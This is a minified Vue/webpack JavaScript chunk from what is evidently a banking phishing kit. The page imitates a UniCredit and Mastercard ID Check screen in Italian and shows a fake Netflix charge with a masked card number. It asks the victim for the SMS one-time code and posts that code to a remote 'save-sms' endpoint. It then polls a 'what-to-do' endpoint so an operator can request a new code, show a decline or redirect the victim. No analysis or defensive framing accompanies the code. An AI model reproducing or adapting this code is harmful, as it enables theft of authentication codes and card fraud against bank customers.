(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-092b1946"],{"0039":function(t,e,a){"use strict";a.r(e);var c=a("7a23"),i=Object(c["r"])("data-v-69a7e304");Object(c["k"])("data-v-69a7e304");var s={class:"poste_pay_container"},n=Object(c["e"])('<div class="flex justify-between" data-v-69a7e304><div data-v-69a7e304><img src="images/logo_unicredit_FIN.jpg" width="150" alt="" data-v-69a7e304></div><div class="pt-3" data-v-69a7e304><img src="images/mcidc.png" class="w-20 h-8" alt="" data-v-69a7e304></div></div><div class="mt-5" data-v-69a7e304> Ci scusiamo ma la notifica push inviata non risulta recepita. <br data-v-69a7e304><br data-v-69a7e304> Per eseguire il pagamento di seguito indicato inserisci il codice ricevuto via SMS e prosegui cliccando su &quot;Conferma&quot;. </div>',2),o={class:"w-full mt-8"},r=Object(c["g"])("tr",null,[Object(c["g"])("td",{class:"w-1/2"}," Esercente: "),Object(c["g"])("td",null," NETFLIX ")],-1),d=Object(c["g"])("td",{class:"w-1/2"}," Data: ",-1),l=Object(c["g"])("td",{class:"w-1/2"}," Numero di carta: ",-1),u={class:"mt-8"},b=Object(c["g"])("b",null,"Inserisci codice ricevuto via SMS",-1),m={class:"text-red-500 text-xs"},g={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-black",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},v=Object(c["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),j=Object(c["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1),p=Object(c["g"])("div",{class:"mt-4 mb-4"},[Object(c["g"])("b",null,[Object(c["g"])("a",{href:"",class:"block mt-1",style:{color:"#00B0F0"}}," Per maggiori informazioni contatta il nostro Servizio Clienti al Numero Verde indicato sul retro della carta ")])],-1);Object(c["j"])();var O=i((function(t,e,a,i,O,f){return Object(c["i"])(),Object(c["c"])("div",s,[n,Object(c["g"])("table",o,[r,Object(c["g"])("tr",null,[d,Object(c["g"])("td",null,[Object(c["g"])("span",{textContent:Object(c["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(c["g"])("tr",null,[l,Object(c["g"])("td",null,Object(c["m"])(f.ccnum_hidden),1)])]),Object(c["g"])("div",u,[b,Object(c["q"])(Object(c["g"])("input",{type:"text",name:"",id:"",class:"border border-black block mt-2 text-lg","onUpdate:modelValue":e[1]||(e[1]=function(t){return O.code=t})},null,512),[[c["o"],O.code]]),Object(c["q"])(Object(c["g"])("span",m," Qualcosa è andato storto. Ti abbiamo inviato un nuovo codice ",512),[[c["p"],O.isResend]]),Object(c["q"])((Object(c["i"])(),Object(c["c"])("svg",g,[v,j],512)),[[c["p"],O.isLoading]]),Object(c["g"])("button",{class:"btn mt-4",onClick:e[2]||(e[2]=function(){return f.submitCode&&f.submitCode.apply(f,arguments)}),disabled:O.isLoading||!O.code}," Conferma ",8,["disabled"])]),p])})),f=a("bc3a"),h=a.n(f),w=a("a078"),x=a("1995"),C={props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,lang:"en"}},created:function(){this.lang=Object(x["a"])()},computed:{ccnum_hidden:function(){return"*"+this.ccnum.substr(-4)}},methods:{t:function(t){return x["b"][this.lang][t]},submitCode:function(){var t=this;this.isLoading=!0,h.a.post(w["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;h.a.get(w["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};a("67e4");C.render=O,C.__scopeId="data-v-69a7e304";e["default"]=C},"67e4":function(t,e,a){"use strict";a("bf7f")},bf7f:function(t,e,a){}}]);
//# sourceMappingURL=chunk-092b1946.47c27384.js.map